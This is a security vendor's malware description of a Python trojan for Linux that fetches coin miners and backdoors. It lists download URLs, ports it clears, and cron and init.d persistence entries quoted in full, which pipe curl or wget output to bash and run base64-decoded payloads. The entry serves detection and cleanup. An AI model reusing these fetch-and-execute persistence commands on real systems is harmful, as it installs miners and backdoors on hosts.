Analysis by: Patrick Noel Collado
ALIASES:

Trojan-Downloader.Python.Miner.b (Kaspersky)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 13,047 bytes
File Type: PY
Memory Resident: Yes
Initial Samples Received Date: 28 Aug 2020
Payload: Connects to URLs/IPs, Downloads files, Terminates processes

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}.{BLOCKED}.61.233/x86_64 -> downloaded file is detected as Coinminer.Linux.MALXMR.UWELD
  • http://{BLOCKED}.{BLOCKED}.33.226/i686 -> downloaded file is detected as Coinminer.Linux.MALXMR.UWELD
  • http://{BLOCKED}.{BLOCKED}.113.151/go
  • http://{BLOCKED}.{BLOCKED}.113.151/x64b -> downloaded file is detected as Backdoor.Linux.KAITEN.AMR
  • http://{BLOCKED}.{BLOCKED}.113.151/x32b -> downloaded file is detected as Backdoor.Linux.KAITEN.AMV

Other Details

This Trojan does the following:

  • Terminates processes connected to the following ports:
    • :3333
    • :4444
    • :5555
    • :7777
    • :14444
    • :5790
    • :45700
    • :2222
    • :9999
    • :20580
    • :13531
  • Terminates processes connected to the following IP:
    • {BLOCKED}.{BLOCKED}.24.12:8080
    • {BLOCKED}.{BLOCKED}.17.13:8080
    • {BLOCKED}.{BLOCKED}.11.170:443
  • It creates the following cron jobs for persistence:
    • Path: /etc/cron.d/root
      • Schedule: Every Minute
      • Command: */1 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.d/apache/root
      • Schedule: Every Two Minutes
      • Command: */2 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.d/nginx
      • Schedule: Every Three Minutes
      • Command: */3 * * * * root lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/.xo; bash /tmp/.xo; rm -rf /tmp.xo\n##
    • Path: /var/spool/cron/root
      • Schedule: Every Thirty Minutes
      • Command: */30 * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi\n; rm -rf /tmp/xmi\n##
    • Path: /var/spool/cron/crontabs/root
      • Schedule: Every Minute
      • Command: * * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.hourly/oanacroner1
      • Schedule: Every Hour
      • Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi
  • It creates the following service for persistence:
    • Path: /etc/init.d/down
      • Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo "{base 64 encoded string}" | base64 -d | bash -'

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 16.153.00
FIRST VSAPI PATTERN DATE: 08 Aug 2020
VSAPI OPR PATTERN File: 16.154.00
VSAPI OPR PATTERN Date: 09 Aug 2020

Scan your computer with your Trend Micro product to delete files detected as Trojan.Python.MALXMR.D. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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